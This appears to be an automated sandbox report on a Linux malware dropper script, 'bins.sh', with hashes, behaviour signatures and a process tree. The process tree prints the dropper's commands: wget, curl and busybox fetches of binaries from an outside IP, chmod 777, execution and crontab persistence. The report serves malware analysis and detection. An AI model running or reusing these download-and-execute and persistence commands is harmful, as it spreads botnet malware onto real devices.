Analysis
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max time kernel
149s -
max time network
176s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
26/11/2024, 10:47
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
28dde49049a118c0f885cfad79f16e3a
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SHA1
d3a08ddf5320ee11f75b1d1aff7fb51ba3d4ea7e
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SHA256
145073114b8bc96b50de671b5b2ff9cc9da3620967e3228b6395fb82331a7a4d
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SHA512
40ab90fd82aceadfbd9598ea1465d293d03efadc589e158f7d24eb0b807a7d1a4e25a8cac3ca0cdda99f173f54a546942d140e353702fe1663d3f6ca8c7fb9d7
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SSDEEP
192:Bjj73NwwEttYL2L2LcLlLpLoXNtP4swediL2L2LcLlLpL4NtP4sOCl73Nwwg:Bjj73NwwE3Yi6oBNcXNtP4sl8i6oBNEi
Malware Config
Signatures
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 737 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH 738 AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH -
Renames itself 1 IoCs
pid Process 739 AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.FhKyn1 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/882/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/28/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/42/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/795/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/838/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/878/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/880/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/866/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/873/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/274/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/305/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/796/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/806/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/823/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/832/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/4/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/6/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/598/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/712/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/807/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/867/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/759/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/797/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/3/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/43/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/155/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/322/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/600/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/659/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/828/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/842/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/851/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/8/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/818/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/827/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/854/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/26/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/27/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/580/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/858/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/840/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/877/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/1/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/104/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/276/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/318/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/775/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/822/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/18/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/21/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/148/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/765/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/864/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/filesystems crontab File opened for reading /proc/14/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/762/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/861/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/870/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/881/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/856/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/871/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/115/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH File opened for reading /proc/811/cmdline AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH wget File opened for modification /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH curl File opened for modification /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:652
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/bin/rm/bin/rm bins.sh2⤵PID:654
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/usr/bin/wgetwget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH2⤵
- Writes file to tmp directory
PID:656
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/usr/bin/curlcurl -O http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:725
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH2⤵
- Writes file to tmp directory
PID:729
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/bin/chmodchmod 777 AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH2⤵
- File and Directory Permissions Modification
PID:737
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/tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH./AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:738 -
/bin/shsh -c "crontab -l"3⤵PID:740
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:741
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/bin/shsh -c "crontab -"3⤵PID:744
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:745
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/bin/rmrm AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH2⤵PID:760
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/usr/bin/wgetwget http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ2⤵PID:763
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
210B
MD5cbed77b026ed5a4865782ce752e6d94f
SHA1b0589abec3fbcfcce2fdc86ad18baa215e1b7c24
SHA2560e4d15cccfef5f80f0d97c03b1db166897e61d909753cc94840294cec99b8411
SHA512b46b8b56b55a35dfe85ac9b4374421c53036bf2be624268d4cbcdc9b82428c0eca2a50443f22d1dcbabc38003e624d4eacf051e953c09f0228d66575110fb752